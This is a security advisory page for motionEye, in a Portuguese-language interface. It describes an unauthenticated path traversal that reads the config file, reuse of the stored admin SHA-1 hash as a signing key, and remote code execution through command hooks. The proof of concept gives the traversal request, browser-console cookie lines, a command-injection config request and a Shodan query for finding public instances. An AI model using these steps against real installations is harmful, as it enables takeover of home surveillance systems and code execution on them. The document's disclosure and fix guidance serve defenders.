PT-2026-55663 · Pypi · Motioneye

Publicado

2026-06-23

·

Atualizado

2026-06-23

CVSS v4.0

10

Crítica

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal

Summary

Myself and others have reported several RCE vulnerabilities to this project. However, due to the nature of the app, these are largely not of all that much value, as there is built-in functionality to run commands upon certain actions — i.e. RCE is by design.
With that in mind, I endeavored to find some sort of auth bypass, and was slightly successful.
When the admin password is set but the normal (surveillance) user password is left empty (the default), an unauthenticated attacker can exploit a path traversal vulnerability to read the motionEye configuration file from disk. This file contains the admin password as a SHA-1 hash, and that hash is accepted directly as a signing key for admin API requests — no cracking required. The result is full admin access from zero credentials.
This is a realistic scenario: many installations set an admin password to protect the settings UI but leave the normal user password empty so household members can view camera feeds without logging in.

Details

The vulnerability chains two independent issues:
1. Unauthenticated normal-user access when @normal password is empty
In motioneye/handlers/base.py, lines 149-151:
python
# no authentication required for normal user
if not username and not normal password:
  return 'normal'
When @normal password is empty (the default — see config.py line 2251: data.setdefault('@normal password', '')), any request without a username parameter is silently granted normal user access. This is by design for convenience, but it means all normal-level endpoints are fully unauthenticated.
2. Path traversal in MoviePlaybackHandler (and related handlers)
The movie playback handler at motioneye/handlers/movie playback.py serves recorded video files. It accepts a filename in the URL path:
GET /movie/<camera id>/playback/<filename>
The filename is passed to mediafiles.get media path() (mediafiles.py lines 497-500):
python
def get media path(camera config, path, media type):
  target dir = camera config.get('target dir')
  full path = os.path.join(target dir, path)
  return full path
When path is an absolute path (e.g. /etc/motioneye/motion.conf), Python's os.path.join() discards target dir entirely and returns the absolute path as-is. This would normally be caught by Tornado's StaticFileHandler path validation, but MoviePlaybackHandler explicitly overrides both safety checks (movie playback.py lines 111-115):
python
def get absolute path(self, root, path):
  return path

def validate absolute path(self, root, absolute path):
  return absolute path
This allows reading any file on the filesystem that the motionEye process can access.
The same path traversal exists in the movie download, picture download, and picture preview handlers:
  • GET /movie/<camera id>/download/<filename>
  • GET /picture/<camera id>/download/<filename>
  • GET /picture/<camera id>/preview/<filename>
3. Admin hash stored in a readable config file and accepted directly as a signing key
motionEye stores the admin password as SHA1(plaintext) in its main configuration file (motion.conf), written as a comment line:
# @admin password 7b7d55439abccf4ae83047c1af2707e6eb6664db
The authentication code in base.py (lines 137-147) accepts signatures computed with either the raw stored hash or SHA1(stored hash) as the signing key:
python
if username == admin username and (
  signature == utils.compute signature(
    self.request.method, self.request.uri, self.request.body, admin password
  )
  or signature == utils.compute signature(
    self.request.method, self.request.uri, self.request.body, admin hash
  )
):
  return 'admin'
Here admin password is the raw value from the config file (the SHA-1 hash), and admin hash is SHA1(admin password) — a hash of the hash. Since the stored value is already a SHA-1 hash, and it is accepted directly as a valid signing key, there is no need to crack it. The attacker can use the stolen hash immediately.
Furthermore, the client-side JavaScript (static/js/main.js line 3631) computes sha1(plaintext password) and stores it in the meye password hash cookie as the signing key. This is the same value as @admin password in the config file.

PoC

Step 1 — Read the config file (unauthenticated, requires empty normal password):
GET /movie/1/playback//etc/motioneye/motion.conf HTTP/1.1
Host: target:8765
Response contains:
# @admin username admin
# @admin password 7b7d55439abccf4ae83047c1af2707e6eb6664db
Step 2 — Use the hash to become admin. In the browser console:
javascript
document.cookie = "meye username=admin; path=/";
document.cookie = "meye password hash=7b7d55439abccf4ae83047c1af2707e6eb6664db; path=/";
location.reload();
The page reloads with full admin access. All subsequent requests are signed with the stolen hash.
Step 3 (optional) — Achieve RCE via the admin config API. The admin can set command notifications exec or command storage exec to arbitrary shell commands, which are written into motion event hooks and executed by the motion daemon:
POST /config/1/set HTTP/1.1
Content-Type: application/json

{"command notifications enabled": true, "command notifications exec": "touch /tmp/pwned", ...}

Impact

  • Privilege escalation from zero credentials to full admin on any installation where the admin password is set but the normal user password is left empty (the default configuration).
  • Arbitrary file read of any file readable by the motionEye process (typically running as motion user, or root on motionEyeOS). This includes /etc/passwd, /etc/shadow (if permissions allow), SSH keys, and application secrets.
  • Full remote code execution — once admin access is obtained, the attacker can inject arbitrary shell commands via motion event hooks (command notifications exec, command storage exec, or web hook storage url). Commands execute as the motion daemon user.
  • Realistic attack surface — this is a common configuration for home surveillance setups where the admin password protects settings but camera feeds are left open for household members. Public instances are discoverable via Shodan (http.favicon.hash:1898775751).

Suggested Fix

  1. The path traversal should be fixed by validating that the resolved path stays within the camera's target dir. Do not override get absolute path and validate absolute path to bypass Tornado's built-in protections. At minimum, reject absolute paths in the filename parameter.
  2. Consider warning users in the UI when the normal user password is empty, as this makes all normal-level endpoints (including the vulnerable file handlers) fully unauthenticated.
  3. The admin password hash should not be stored in a file that is served by the same file handlers used for media content. Alternatively, the @ metadata lines should be moved to a separate configuration file that is not within any camera's media path.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-35

Identificadores relacionados

GHSA-PHV5-334H-MXCW

Produtos afetados

Motioneye